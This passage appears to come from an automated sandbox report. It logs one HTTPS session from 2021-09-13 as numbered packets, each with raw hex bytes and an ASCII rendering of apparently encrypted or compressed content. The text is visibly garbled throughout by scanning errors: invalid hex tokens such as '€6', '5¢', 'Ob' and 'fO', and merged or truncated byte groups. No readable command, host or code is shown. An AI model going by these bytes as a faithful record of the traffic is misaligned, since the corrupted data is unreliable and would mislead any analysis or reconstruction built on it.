56 4e 6f Of 4b f0 d2 99 85 e0 df 10 cd 91 52 ce de 86 ad f9 f1 c9 d3 73 c9 e6 d1 77 7f 73 4d 9d 86 f2 1d 48 25 1a 87 64 d7
43 48 43 d3 7f 65 13 70 bd 08 0f 59 59 37 b5 53 a8 c9 fa 49 58 ad 86 94 98 64 49 e3 60 84 67 7 e6 b9 08 ea f6 c2 96 17
e4 0c 83 ef f4 8a 0a 2e 89 07 9f ab 94 fO c1 71 8e 9f 57 10 36 ca 4b 8a Ob 95 fO 1e c4 06 74 f9 f5 4a da cl ee fc 4e 14 bc
97 4a 57 f4 b3 27 36 06 8b ed ff 2c df 8a Oc cO 78
Data Ascii: ,"'eG+?GIliIEMV'Zj$D/]3*{"G69*zs1jOr0,"<GrgGJIX={Loi]gIR2{tVNoKRswsMH%dCHCepYY7SIXdl'g.qW6
KtINJW'6,x

2021-09-13 23:07:18 UTC 374 IN Data Raw: b2 6b 6b 17 31 el a8 f1 26 95 48 30 7 01 63 €6 59 c0 7b b3 c0 2b ff d9 Ob 10 2a 15 11 fe a5 f9 06 cf b6 7c bf
d8 b7 74 04 ab 31 b7 30 24 6d c8 af d9 2d bb 3b 43 36 4f 43 5f 82 97 56 ec 16 10 b6 7a 64 8b 6 25 f9 23 53 85 53 d2 5¢
b7 98 52 7b 5b cf 51 10 ec al d7 5e fc ff 8e cf 1c 5b 6e b7 Oe 03 a5 a9 84 c2 e7 ce 40 79 fd db 4d ec 01 32 bd 9f 86 ac fc
9d b1 d0 cd e9 b9 Ob b6 c4 fd e8 d5 06 b0 cb 8b 7c 0d 1e 6f 90 cc e7 dd a4 86 df 7a 7d de bl 15 45 75 2c eb 99 58 ae f2
32 47 a6 1f 09 20 f6 58 Ob 33 86 3f 96 f5 c8 f2 34 4f c6 b7 8¢ 71 6e 13 00 Oe eb 24 b0 0a 3a 9f f9 71 db a2 c¢3 f5 92 1c 5¢
84 dc 63 f2 8f f2 cf b2 50 cf 08 a7 c6 c8 67 99 c4 3f 2e 6f fb 5¢ 7c eb 69 05 Oc a2 b2 ¢5 83 3¢ f2 7c a2 a0 99 4c Oe 15 47 8f
ae 6d f3 27 02 b3 81 73 2e ca 62 f2 41 87
Data Ascii: kk1&HOcY{+*|t10$m-;C60C_Vzd%#SS\R{[Q [n@yM2|oz}Eu,X2G X3?40qn$:q\cPg?.0\[i<|LGm's.bA

2021-09-13 23:07:18 UTC 375 IN Data Raw: b6 78 48 f2 71 84 0d eb d5 ef fb da 68 f9 9b d4 be b3 76 1d cd 0d 1e 9f 6¢ 36 fa f8 e7 97 93 a9 ca 53 b3 al 9a
c7 4e db aa a7 dd 6a 7e f2 2c cc ff 0f c3 9f 96 a5 a4 c¢2 17 9c 1f 27 85 18 7f 4b 70 73 06 64 e0 de 68 a8 41 e3 bl 6b ca 2d
49 6¢ df cd 9b d8 d4 74 83 27 a8 89 69 1d Ob ce 4d 83 18 b6 35 a0 44 1c 3e 06 82 22 95 73 7b 05 ch 58 67 ¢6 f8 bd 20 21
62 a7 2d 00 7b a4 86 bc bd b9 88 fc 47 16 e6 b8 ch be 23 89 d0 7b 19 c9 5a 31 18 eb 64 52 ¢3 98 30 64 f9 bc 45 86 39 1le
63 ba 3 73 50 43 08 1d 8e 88 3d 29 6b be eb 4d 8c 14 58 90 8¢ a4 ed 97 d2 42 e2 10 9d de bf f0 07 5f ec 68 05 99 6f 50
5 08 43 9a c9 8d 91 96 23 df 57 bb 77 a7 f1 83 9c 21 48 47 95 6f 69 d9 48 57 0a 85 de 36 7d bb 29 9c 20 67 9e 10 eb f0
5f d7 9f 1b Oa df f9 d9 el 91 b5 9f ec 66 d4 2d cb
Data Ascii: XHghvI6SNj~,'KpsdhAk-1ItiM5D>"s{Xg !b-{G#Z1dROJE9csPC=)kMXB_hoPC#Ww!HGoiHW6}) g_f-

2021-09-13 23:07:18 UTC 376 IN Data Raw: 53 e0 cc 83 70 83 96 c8 f3 f5 2f 1e 50 e9 4e 2f d5 19 00 c5 21 07 03 1c 7c 16 be 58 b7 93 cb 18 64 23 df 96 72
13 2a 95 d3 95 35 68 59 17 7f 35 d9 b4 ea 90 71 12 23 80 42 23 05 72 6¢ 35 0d 81 91 cb 91 ¢9 c4 c5 d8 df 25 0f 98 f2 fb 3
22 7ac6 f0 98 44 39 Ob ec 43 6e 4b 3d 41 90 d7 09 17 25 b2 9e 95 4b 11 f1 41 95 ed d7 38 a7 af fe 72 2d 2e 5c c4 b5 8b
00 63 ce 3e e5 96 51 45 c0 e2 89 1f 22 cf ce 9e d8 fd 47 b0 9b ab 51 c7 ab 40 3b ec af f8 4a aa 3a 4e 0d 08 f3 8¢ 88 3c 73
0f e7 8f 66 d4 70 c1 8e 05 43 e9 0f c8 d9 52 98 08 56 c5 8f b9 2d 60 38 df 2e 27 df c4 1a el 81 b9 b6 12 54 ab a5 df a2 5f
e2a7e5al 38 1b 1792 ff 94 71 58 27 1b 0d 1a 26 7d d9 4d f4 5f 17 d7 9d dO 89 83 b6 1b 79 32 83 23 f1 ea 63 20 5c f8
41 a0 26 59 71 8e 94 6e 48 10 2a de 67 d1 75
Data Ascii: Sp/PN/![Xd#r*5hY50#B#115%7?"zDICNK=A%KASI-.\c>QE"GQ@;J:N<sfpCRV-"8."T_8gX'&}M_y2#c \A&YqnH*gu

2021-09-13 23:07:18 UTC 377 IN Data Raw: 06 1c €5 00 75 eb 48 6¢ f1 b3 03 a3 al 96 26 5¢ 44 eb 3d ca 42 cd 4e 8d ab 00 0d d7 76 9f 26 9e 3f 05 e3 82
da f8 b4 8e 14 ba ff a7 18 56 e0 ab eb 55 60 0d af 52 68 48 42 d0 c6 39 ¢3 00 64 cc 7f 14 12 46 b0 5d 83 al ea 34 d2 90
94 37 40 87 ff 8 2f f1 bf 9d 8 c8 5a 2f 48 e5 98 44 93 47 Oe cd e3 3a be 2e 57 db 93 79 7f 9d 49 31 ff d9 53 33 88 Oa df
el f6 f2 ed f0 81 eb e3 Oc fb 5f ba 6d 61 f9 29 a9 8b 4e ea 13 6b 13 a7 d4 48 69 84 72 f9 cf cd f4 bb 83 4b 4a 87 83 0d 6d
3 61 58 ad 8f 5f 8a 0a a4 24 06 61 53 c0 70 01 69 f5 6f 91 89 b9 4e f2 d7 42 20 85 6¢ 51 8e a3 3d 79 1d 47 78 10 05 85
cd 20 10 a2 f7 25 8e fc 65 2¢ 5a ¢3 18 3 f9 62 db 80 55 c6 98 b2 65 d8 17 a4 Ob 94 €8 43 23 17 ba 1a 65 30 9e 7c 8b ee
Oc 60 b6 c1 bf a4 29 78 17 41 d7 33 bb 5a 2c 42 cf
Data Ascii: uHI&\D=BNv&?VU RhHB9dF|47@/Z/HDG:.Wyl1S3_ma)NkHirKJmaX_$aSpioNB IQ=yGx %e,ZbUeC#e0| )xA3
ZB

2021-09-13 23:07:18 UTC 379 IN Data Raw: 7e 95 79 f0 99 82 67 29 ab f3 cd ce fd 5¢ b2 ad 14 ¢8 93 57 fd 71 79 65 c7 08 7d 2a 5a 9a e9 e6 3f 2b 09 36 a3
70 1c 16 b9 bd 10 53 ec 9c c8 ed 34 12 c1 a2 ee 2f 38 f5 1c 12 64 a3 0f d9 3¢ 0f 01 a6 58 77 5f db 4b 29 4c 3c e2 6¢ f2 b8
1b e7 ed a5 97 49 0f 98 1b cd 23 6b 82 8a 4b 77 20 fb 28 e7 2b al 6a 6e ca f0 59 a5 64 14 ef ed 3c 05 25 99 7d a0 5b fe
48 56 07 5f 13 2a 89 00 00 aa ac 4e 45 14 al 31 4b dc 06 14 47 76 c8 d8 eb 4c Oe 1d 7d af 6b 1a 5a 2d d6 a0 f9 a8 d3 03
d2 fe 82 b3 e0 99 33 d6 bd 83 94 84 dc 20 65 dO 27 fe 03 bc ee 9d fe 8d a7 6b eb e3 df 6b d0 23 ae 66 98 ab c1 38 f4 63
ch 63 11 60 42 70 23 6f 03 cc Ob 47 1a f0 82 a6 ec af c6 2b eb d4 74 1e 36 1e d5 45 0d 9f 00 8f €0 05 c2 dd d5 b4 bc 08 6
6f 63 18 44 Oc 4c 11 18 d7 4a e5 78 bc af cc c8
Data Ascii: ~yg)\Waqye}*Z?+6pS4/8d<Xw_K)L<II#kKw (+jnYd<%}[HV_*NE1KGvL}kZ-3 e'kk#f8cc Bp#0oG+t6EocDLIX

2021-09-13 23:07:18 UTC 380 IN Data Raw: 3b 0f 33 d8 59 fd fe dc a6 d6 62 80 31 42 18 b5 30 82 76 f9 9c 71 69 37 3 aa ef 3 87 85 f6 00 46 91 ea 05 97
ce de e39d 7a f3 02 39 fa ef 86 4e 79 b8 82 ae f8 8e e7 bf 29 52 19 97 41 a0 7c €3 59 87 e2 46 d2 43 5a 1c bc Oe 7d db
83 eb 79 a2 1f 62 c5 3f 06 ee b5 e5 41 46 6b 4c 9a 43 6b 49 Ob 23 17 8f 20 1b 8f 19 19 c2 ea 83 49 63 92 12 cc c2 91 ba
06 02 ca e8 39 ba 9f aa a8 1b 26 b9 36 23 fb b0 6f db 27 6¢ ab bb f2 ec 34 a7 c4 12 fb €9 86 ce 9b 75 ba ef dc 12 7d Oe
da Oc d4 ce bl 6 60 c9 af Oe 45 9a 91 5b f1 5d a3 5d 1f 7c be ba 3a ef 59 59 c2 8c 3a a7 2f 54 e3 a4 90 6e dc cb b7 d3 3b
94 69 1a 09 f2 18 bb 93 05 01 87 45 61 1f 68 8b 6f 72 ad f3 14 a9 54 €9 4a 05 ee 4c 00 b4 ae e3 37 87 f6 0a f6 52 50 65
d9 59 76 ef 09 df 9d 7c 96 d8 3a b3 a8 2c a6 5a 06
Data Ascii: ;3Yb1BO0vqi7Fz9Ny)RA|YFCZ}yb?AFKLCKI# Ic9&6#0'14u} E[]]|:YY:/Tn;iEahorTIL7RPeYV|:,Z
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 381 IN Data Raw: 20 c7 7f 1d Oe fd 72 c0 99 bf 4b a2 e4 c8 eb 2e 18 93 38 18 0b b6 91 Of 3d bc b2 66 a0 e0 09 3a 4a 7f 39 2a 7b
14 7a 4f d6 75 4e 37 51 08 e7 a6 53 cd 58 0d 07 18 71 fO 83 f8 50 Oe b4 69 a7 fc 58 67 25 3f 9e 67 f9 ea 00 ee 9f c8 ac 73
37 ad d1 fb ff 26 23 66 86 61 €8 1a c8 1a ed 6b 39 2b 46 fb 1e 5a 78 61 {3 1f fa 41 c0 2b 80 2f 19 2e be 36 7d 19 352 el
af 7f 89 35 3 6e 4a 4f 5¢ 0d ef 76 2a 59 40 43 33 4b 7e 1d 75 Ob c0 62 1d 7f 77 2e 27 69 34 73 12 5d 02 ed 84 67 5e 74
cc f9 88 79 c0 e0 d3 44 35 0b 7d 05 95 f5 d1 00 ea 97 56 6b 0f c5 69 8a 9d 57 10 ee a8 42 63 a2 3b f0 8b f2 06 74 2a bc
db 3b b9 65 fc el bc d1 c0 27 ee 61 31 b3 d2 55 aa be fd 84 a9 7e 3¢ 77 1f d4 6b ee 44 e3 67 b0 ef 35 7b 3d al 3a 89 e2
24 fe 26 4c 9b ba 67 ea ce 22 c5 af 76 d5 7d f8
Data Ascii: rK.8=f:J9*{zOuN7QSXqPiXg%?gs7&#fak9+FZxaA+/.6}55nJO\v*Y @ C3K~ubw.'i4s]g"tyD5}VkiWBc;t*;e'alU~
<wkDg5{=:$&Lg"v}

2021-09-13 23:07:18 UTC 383 IN Data Raw: b4 8b b3 ce ef €6 d7 51 7c 53 2a c4 6 05 99 2a 41 e5 81 1a 78 47 a6 30 8f 4f 24 bd 6a 8f 56 84 2f b2 60 96 27
4f da 83 08 28 €9 51 Oe a2 48 28 47 3b 9c ce 7b 10 67 62 b4 f7 c0 b3 d8 30 3 1b 20 59 f7 ba cb 23 dd 3b 7e b4 0d 80 09
a8 4a a9 38 b7 41 61 1f 68 26 01 99 5¢ ba ba fe Ob b7 05 9d 1d 88 44 03 b3 a0 73 f6 09 a2 e2 76 27 cd c9 12 ff ff 01 e0 c6
7b 12 a0 04 39 8a f4 ae 07 f2 ea a6 23 85 d4 8a 75 bc be 76 c6 e5 72 c8 49 50 a6 05 83 98 56 12 23 ac 36 9d Oa 3d 8f c6
e2 7b 5e 8c 86 9e f3 5a 24 21 da 73 30 a5 70 b9 58 77 b8 10 71 b1 62 c0 13 99 12 70 82 b3 28 2b f5 18 a5 96 7a 91 4a c5
58 16 6f 7c a8 2a 48 36 a1 09 69 08 58 19 Oe 19 18 e2 0a 2e 75 a7 8a 4d bc f1 16 bd 09 57 49 b5 7f f8 56 68 6f df 7a b2
a8 51 c6 b6 Ob bc cf 71 32 4d d5 29 0b f2 9d cb 11
Data Ascii: Q|S*AxG00$jV/'O(QH(G;{gh0 Y#;~J8Aah&\Dsv{9#uvrIPV#6={"Z$!s0OpXwgbp(+zJIXo[*H6iX.uMWIVhozQq2M)

2021-09-13 23:07:18 UTC 384 IN Data Raw: 20 82 96 a8 23 65 31 33 3b 19 dc 8c 7e 7a 46 2b 95 e2 1f d3 30 3c 3a 54 64 43 aa 14 f2 1e 14 6d Oc 70 9e 4c
dd 92 62 6b 9e 84 6d el dc 62 66 89 30 79 20 96 7d le f6 94 e9 a9 62 2f 37 bd 71 5c bl f7 39 8f 07 74 85 67 b6 76 be 65
fc 82 2b 60 dc 73 ed c1 ec 44 13 83 cf 66 02 85 a9 40 27 e7 20 d2 b3 51 96 f8 a7 c5 95 30 8e 4f 13 99 31 9e 74 80 1b 05
2d 44 9b e2 75 25 3a fa 9d e4 95 35 ac e5 99 4e f7 3e 38 57 b8 55 ad 06 77 00 5d c4 a3 ae ef f7 Ob 9b 73 89 10 d2 9a 05
6f da cc c1 dd Oa 1a a0 69 c3 2b a6 63 68 65 13 ec a7 9a 7b 21 cc 3f ec 96 c0 07 3a b7 a5 a4 8f 9c ed 2b b8 7b c5 89 d1
ae 00 aa 24 6¢ fa 50 7c 42 71 98 52 8d 4c 32 02 66 el 7c dd 36 15 54 d9 4a 31 89 4f ad 96 18 13 9b 26 8a cd a8 d5 19 f5
06 a9 60 44 c9 67 74 1c 5¢c 7e 4c 44 a0 02 bc b9 78 4f 61
Data Ascii: #e13;~zF+0<:TdCmpLbkmbfOy }b/7q\9tgve+ sDf@' Q0O 1t-Du%:5N>8WUw]soi+che{!?:+{$|P|BqRL2f|
6TJ10& Dgt\~LDxOa

2021-09-13 23:07:18 UTC 385 IN Data Raw: 9b 7c dc 20 24 e8 fe da be b8 1f b1 5e 85 bc d1 b9 47 69 aa 8b 88 86 1c c7 ca ef 83 28 a7 72 1f d4 5e ce 66 Ob
38 df 85 1c ae 73 35 79 63 5e 17 23 33 65 2a dc cf 73 85 5d a4 2c 6d 76 ad a4 68 6¢ 9c 4e 5b 64 ae ad c9 ba e4 92 9c ec
3c cd 6¢ f9 ¢4 42 58 90 bc 53 87 9¢c Ob 36 d9 3a fa d1 ab 6¢c d4 86 d2 57 7 b6 4b 8¢ 12 el b5 a3 6b 44 1d 44 31 56 8a 84
c3 eb cc c6 2c 3f a0 65 96 df f2 4c a9 92 ad a0 27 ab a5 be 72 d1 4d 4a c5 1a 1f 6d ce 16 ef 84 a6 2d c0 56 5d a5 fb f5 da
be 3c 24 8e 57 1la 2a db d9 a2 a9 el a7 64 a3 10 b5 e9 6d ff 56 f1 8¢ 50 14 6¢ 41 ef 55 74 8f al d6 07 a3 d7 56 f3 4a 35 fb
10 78 aa a6 7a 55 da e2 d8 75 d9 0d ed bb al f0 43 5a 74 55 2a d4 1b bb 69 24 eb a2 aa 65 98 ee 67 €3 e4 a8 ab 20 e0
f1 6e 29 9d 10 8d 45 93 07 c9 dc 1a 64 a0 14 09 d2
Data Ascii: | $"Gi(r"f8s5yc"#3e*s],mvhIN[d<IBXS6:IWKkDD1V,?eL'tMIm-V]<$W*dmVPIAUtVJI5xzUuCZtU*i$eg n)Ed

2021-09-13 23:07:18 UTC 386 IN Data Raw: 6f b4 c0 6a fc ed f8 92 4c 3c d0 63 bf 00 4b 7d 9b 7e fa c8 59 Ob 63 f2 8a cb f8 75 0d e4 26 f4 e3 14 cf 9b df a9
b9 0f c6 b9 72 18 d5 a5 9d 98 2b c9 62 7c d1 a0 08 7c 4e a7 d2 cb 25 b0 d7 41 5d 59 40 a6 39 2c 96 05 33 af bl 6b 93 9¢
76 43 a6 28 4c 9b 75 b0 29 02 be a3 6a 3a 6e 7b f8 b5 c4 37 {3 4b d9 02 52 80 be e2 92 83 4d 01 6 ¢5 05 53 el 00 d4 a0
5e cf d6 4a 6f 4d 7c 2 a5 cf 26 d1 9d c0 53 6d 96 02 bd d1 96 18 2d 6f 10 5f 96 06 Oa 89 b9 ba 82 93 05 5c el 52 ce el
22 648 2b 3d 83 1c 8c 48 7b 02 28 a2 d1 Ob 14 53 91 23 6a d8 f5 37 39 96 6e 63 97 fd ea 08 72 29 ca 49 83 a8 d0 43 1a
99 3a 6e df 33 1d 27 2f 33 07 cd 1e b3 2a ad 93 81 97 68 f1 35 60 aa fO bd fa 47 0a b1 7c 9f Oc 4e 27 53 26 ff 1a 86 64 7a
a9 7f c2 e9 86 4c 56 36 4f 5b 5f 82 ad 8f c3 e7
Data Ascii: ojL<cK}~Ycu&r+b|IN%A]Y @9,3kvC(Lu)j:n{7KRMS"JoM|&Sm-o0_\R"oH+=H{(S#j79ncr)IC:n3'/3*h5 G|N'
S&dzLV6O[

2021-09-13 23:07:18 UTC 388 IN Data Raw: 05 24 8 a1 5d 78 87 12 70 98 13 €9 73 3a 2d eb 70 Of a9 fc 2a f2 29 39 07 24 54 54 bc 98 41 bc 14 b9 99 c4 3f
38 a7 f2 b6 2b a4 ab e7 2e 48 1b 44 c4 {7 c6 45 Of 98 eb 65 4c af €3 07 f9 b1 b1 03 28 af a1 87 db 3d 56 27 8a 88 ca 20 1c
63 81 dd f8 41 f8 cf bc ab 86 13 12 3f 46 de 62 dd 5a 38 44 18 6b 88 62 2f 43 59 ce 28 10 5b 3f53 11 1c d2 7d c3 b9 cf €6
d7 68 03 b3 87 dc b8 68 41 2¢ 7d 39 5e 35 27 05 b4 d7 31 7a 9b €3 €6 56 fe 9f 5d a4 2b 23 41 df d2 93 66 7e €2 de 31 ae
9f 5d 9e 15 b5 76 34 €7 b 5 9c 64 fa a8 4f b2 06 2¢ 54 ff 6f €5 9e €3 00 50 6€ Ob b8 9b 28 83 b6 5f 57 b2 06 48 e 48 €8
88 6 bc b0 14 01 1d fe be bc f8 e2 9e 5a 93 d9 48 df 18 d7 8c e6 d1 d7 f4 d8 94 23 5e 65 ca ¢6 b6 15 51 17 49 01 aa d1
1e 10 56 b0 69 3¢ 54 10 85 66 7a 43 6 8b af
Data Ascii: $]xps:-p*)9$TTA?8+. HDEEL(=V' cCA?FbZ8Dkb/CY ([2S}hhA,}975'12V]+#Af~1]v4dO, ToPn(_WHHZH#"eQI
Vi<TizC

2021-09-13 23:07:18 UTC 389 IN Data Raw: 73 ac 94 61 1a cd 1b 05 e3 17 d3 90 b1 94 56 46 84 0b fa 9a fd c0 39 72 18 40 25 a2 6 8e 8c 08 58 57 a6 Oc
Oe fd ca 64 16 1f 9b 03 ad b0 d0 76 ¢3 58 67 19 09 b4 19 3e fe 7d d8 29 5f 4d ef 50 9a 1 44 0d e8 43 1a 24 42 €5 9a cf 76
b4 f2 9¢ 92 c6 10 b5 €9 c5 9 81 c7 05 9d 86 87 d6 c3 4d 04 11 a6 da b1 d6 a3 db 8b b2 23 ba f2 ec 8c cc b6 15 fa 4f 20 b8
do c1 e2 5f b9 bd 6a 20 1f 7a 2b 4d 75 Oe 08 6¢ 25 9 91 7e e6 23 82 a2 48 1b 19 44 €8 8a f8 28 ec d4 7c 18 43 df 26 cf 1c
76 €5 9e 85 4e 11 4e f8 a6 7e b4 0b 8b 73 50 b5 56 41 b2 bd 9f €0 be c1 ba 6e eb 69 14 00 8f 87 5d 76 10 b3 a8 b7 ee 8e
5d 96 0a a3 e2 3f 8b 8d f2 d0 61 8f e7 de 3b 72 d7 34 3b fa ch a7 51 71 1e f2 23 df 7d 72 1f 23 b3 be 6d 9a 1b 8d 37 90 7f
5b db 15 5a Of 92 24 2f ab a3 Oe c4 17 b1 18
Data Ascii: saVFIr@%XWdvXg>})_MPDCSBVMH#O _j z+Mul%~#HD(|C&NN~SPVAnilv]?a;rd;Qqiré#m7[Z$/

2021-09-13 23:07:18 UTC 390 IN Data Raw: da e7 a3 80 8d 00 32 7c 6e 5¢ 74 21 95 a0 63 24 05 d8 8e 9b 41 27 ff 0d 53 95 14 08 d5 3d ad 86 88 6f a3 b3
138 2¢ 63 cb 40 11 60 42 c7 bb 3f 83 50 fb ff €5 49 98 €0 8¢ 58 c3 €8 12 bc 7a 9b €7 62 ad 4c 1d 90 85 5d b7 ed 12 68
¢4 96 7c d8 5b b6 9d a6 ea 21 c1 le 9c a4 38 9f fb 9b 89 ec 78 f4 a5 1c 48 45 c6 bf 7c 13 Oc 59 34 e5 85 e3 el f9 9e 1a dc
95 c3 ab 12 8e 36 9b b4 15 59 6d 6a fb 14 8a fc 1d 4a 5¢ 37 f7 15 9a 53 fc ef 8b 1a 47 92 ca ac 43 70 61 60 a8 ef 99 43 62
13 d8 b8 e7 2f ¢5 a9 74 Oc 61 b6 6b 53 9a 03 32 2f 35 d2 fe 64 e4 31 39 86 da ac dd 8d 2a 54 ef 6f 6d 5¢ 46 3a db 2e d7
€2 66 41 8f 57 3b d3 28 d8 4d 66 f3 62 aa 99 31 97 03 65 8d 58 d9 60 9f 26 86 71 80 07 bd 2a 82 c8 46 cc 5b ad 05 db 32
5d c8 14 aa bc 15 75 4a 97 Of ee 11 1f ¢5 90 97 of
Data Ascii: 2|n\t/c$A'S=0,c@B?PIXzbL]h|[!8XHE|Y46Ym]jJ\7SGCpa’ Ch/takS2/5d19*Tom\F:.fAW;(MfbleX &q*F[2]ud

2021-09-13 23:07:18 UTC 391 IN Data Raw: bc d4 b2 46 2f d6 db 53 53 30 aa 1d f5 83 24 18 19 9c¢ 84 15 99 73 76 65 a9 b1 0d c1 c6 63 33 97 90 96 1d 05
4e 41 a6 ba dd 08 4c e6 34 f7 24 al 01 94 24 d5 87 f5 d0 06 02 c1 ac f3 14 74 0a 82 01 7a 23 61 d5 16 87 77 83 b4 7e 5b
7b b0 17 f9 f5 38 af €9 7d de 2f f4 fb 9c 3d b3 a8 94 91 28 cf 21 2b aa 4f 7d 1f 65 83 3b el 7d 1b 65 25 e6 c5 58 d5 af 7e
0b 2d a8 el 42 ec 3d 79 5c¢ 5¢ 26 8c d5 dc 3e 3d 86 20 27 34 29 64 e6 Ob 70 fO af 70 50 4f da a6 c6 52 df 99 a8 ca ca 31
29 e1 08 e7 5a 48 06 e7 4f 92 08 27 db c2 21 d9 d1 fO c9 14 61 f5 4d 21 30 e9 04 Ob 03 78 76 a7 39 7b bc f1 cc 20 a6 2¢
0f 4c ¢7 f0 18 95 97 20 04 ba 81 ad b2 b8 84 74 36 68 22 c7 56 9b 31 5f 9d 21 c6 da 85 67 c3 63 7f 45 be 41 67 f9 07 49
c9 14 db 84 54 32 97 0f 50 70 b9 20 2e 20 37 c6 la el
Data Ascii: F/SS0$svec3NAL4$$tz#aw~[{8}/=(!+O}e;}e%X~-B=y\\&>= '4)dppPOR1)ZHO"laM!0xv9{ ,L t6h"V1_!gcEAQIT2Pp
.7
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 393 IN Data Raw: 24 50 05 Oa 80 4a 1b c7 7d 7f 95 16 b3 69 7f 3d df 87 2f a8 94 f0 15 71 32 14 a0 6¢ ac 34 b7 89 d4 b3 10 5b 3d
40 8b 79 31 5e 70 85 al c2 be 6f d0 57 3e 11 f4 ca fa 5b d4 d8 ed ff 2b dd ca 84 9b 07 9c f8 98 17 e4 48 6¢ 6f 44 96 c2 5e
39 8f e2 24 b6 25 4c 9b b4 57 66 b4 16 b0 b7 89 ed 5c 09 4a 6f 7d 2d da 74 3d af 67 b2 d8 bc da d2 d8 Ob 61 c0 14 db cf
42 98 89 9b 10 96 ca 22 9a 9f 67 8f Ob ae 5¢ 68 9d 5f 25 €7 1c d2 94 a4 71 99 7b 21 08 7 72 2b €8 07 96 b2 a3 0a e7 11
02 2f b8 f1 32 85 5a 44 15 97 d9 f5 42 11 64 e0 4d ec d8 29 ec 4b 8d cc 16 d4 3f 33 48 3e bf 4b 0a 88 ae 66 4d 81 b2 ff ad
8b cd ad db fa Oe b5 92 14 60 07 b7 8d 91 7b f4 24 37 91 a4 6e 26 3e 6e 06 ee f4 14 7a aa 05 9a 1c dc Ob 9e 51 3a fa ef
5f81 81 9d 9e 66 58 8c e7 19 f9 e7 52 97 ae 1f
Data Ascii: $PJ}i=/q2l4[=@y1"poW>[+HIoD"9$%LWMJo}-t=gaB"g\h_%q{!r+/2ZDBdM)K?3H>KM {$7n&>nzQ:_fXR

2021-09-13 23:07:18 UTC 394 IN Data Raw: €0 7b 4a d2 5b 8c 8e 8f 30 3 dc 73 9f ab 64 23 cf 72 3d d0 56 48 5f 32 fc 12 9d 39 87 ce fd 3f 36 1f a5 3a dc

Oc 5d 55 4d b1 e6 f8 54 d4 48 dc 6d al 2f 0a d1 5¢ 09 26 41 14 39 d1 a5 32 49 86 36 1d a6 b9 a6 91 76 e5 96 47 de cf 7f
€0 5¢c b9 96 99 71 8b 74 7d 8¢ 98 72 4a df 2c f6 Of 62 c¢3 24 00 35 44 b6 f5 98 23 af be 98 72 7c 55 9c 14 ed 84 99 b4 10
4a7c 9f 29 e3 e0 e2 e3 43 da 95 16 58 67 6e c1 20 db Ob 66 61 a7 a7 el 8b cc a9 9c d7 94 f3 31 7b 9a 62 02 91 63 7a a8
laal 58 bb 2a 92 5e 28 7d c3 ef ¢7 12 0d 5f ee 10 39 95 82 af 2b f5 28 38 d1 Oe 56 ee €6 ec 5f 7d 30 44 2b b3 6¢ f6 a2 36
18 ¢1 89 1e 1b 3d d9 3c 27 fe 59 17 82 93 ¢3 7a 15 de 4b 10 1a 12 b7 a8 0d 2c 6e 82 c6 d5 10 b3 Oc 7c 5¢ 74 8d 6d dd e0
ce 32 e6 98 64 b2 b3 18 a4 €0 94 14 c4 64 be 5a ee

Data Ascii: {J[0sd#r=VH_29?6:]JUMTHmMA&A9216vG\qt}rJ,b$5D#r|UJ|)CXgn fal{bczX* (}_9+(8V_}0D+6=<"YzK,n|\tm2ddZ

2021-09-13 23:07:18 UTC 395 IN Data Raw: 3e 13 9e 8a 67 28 6¢ 90 5f ac 0 25 1e 41 2 f7 f9 7b 21 12 63 5a 78 82 76 c5 c2 2e 48 91 82 06 d1 47 4e cd e3
a5 4d ad 82 ae 80 74 94 6f 1f b2 f8 al d5 c¢7 dc 89 33 02 2e e3 c9 72 6d e3 bf f1 9f 44 67 1b 42 da 89 b7 Oa a7 a9 a8 7f ce
b5 d7 be a4 72 a5 80 91 48 34 ce 6d ae 69 85 83 0d ad d4 a8 99 61 43 93 44 4d a0 db 40 10 93 6¢ 1a 13 07 7e 86 cb 7 8f
b1 7218 c02b a3 79 e0 3a 8e 66 41 fd b1l a8 fd 73 4d 18 33 64 10 26 03 01 c2 70 d7 62 7f 08 3f 3b 4d ff 01 b4 ac e4 87
9e 4c 7d db 9d aa 13 c8 e6 11 02 ed 6¢ Oe 9c 93 02 e0 a5 8f bf ff 6e 31 fa 02 0f a0 aa 33 9f 55 f3 4d 05 01 75 fa be e6 d7
5 ca 04 a8 ba f2 bb db 2a 43 ea 05 35 af 33 85 3¢ f0 a7 dd 42 95 ab bf c9 fc 39 7e dd 33 7c c9 Ob c8 2b 6d a5 e5 ae 45 1b
94 84 9c 24 7e 1d ec a5 3c 73 4e 9e a7 2d 1c
Data Ascii: >g(l_%A{!cZxv.HGNMto3.rmDgBrH4miaCDM@I~r+y:fAsM3d&pb?;ML}In13UMu*C53<B9~3|+mE$~<sN-

2021-09-13 23:07:18 UTC 397 IN Data Raw: f5 80 b9 1b 99 31 2b 51 04 4a 26 60 59 9b 8c b8 0d 17 92 7c 9e 49 20 66 14 8a e5 d9 69 80 99 68 5d eb 28 c1
d5 25 8e 33 c0 5a ae bb ¢4 90 6b 1d 26 dc ee 41 a0 a5 53 67 20 a8 11 Oe ec d5 76 a7 3a 09 1a 18 e9 f2 e4 8e 3f 66 el 64
b4 bb 20 99 6a 6f 29 03 93 50 ba 1a 5a ¢5 9c ca 13 22 50 7f 50 11 fd 2d 8d c5 2d 7b 68 6f b4 99 48 da 6a cf 77 6a 32 8¢
b9 61 e9 df 2c 2e 1b b0 86 20 30 fe 77 19 11 16 45 cb eb 2b c5 a8 ed 6f f4 al f3 38 05 6f Ob b6 da 16 a5 a2 fc 24 ca d8 02
ec 74 ee d1 e9 a0 c6 40 6¢ 06 e3 el 70 1b 84 46 91 f9 6¢ 24 35 f1 14 31 69 5d 1d 9c a4 48 91 45 3a 2d 4c el ¢8 58 b3 f5
11 d9 c2 6f 66 f4 82 1a f5 00 10 51 6b 5a 2f 53 d3 cb f8 cd 4b 1b 08 f2 dd d0 e4 49 7c 9c 4c €9 94 69 7b 7d c7 3c 26 e3 77
3a 00 12 ff 2e 62 8e 5¢c a2 a5 88 d8 1d 98 ca 67 15
Data Ascii: 1+QJ& Y|l fih](%3Zk&ASg v:?fd jo)PZ"PP--{hoHjwj2a,. OWE+080$t@IpFI$5 1i]HE:-LXofQkZ/SKI|Li{}<&w:.b\g

2021-09-13 23:07:18 UTC 398 IN Data Raw: 08 36 9a d0 79 6b 76 07 5d 83 65 ef 5d 2e 48 f3 c1 11 18 6a 6e 34 b4 f9 bb 7e 7d cf 97 67 4d 9a c3 be 28 50
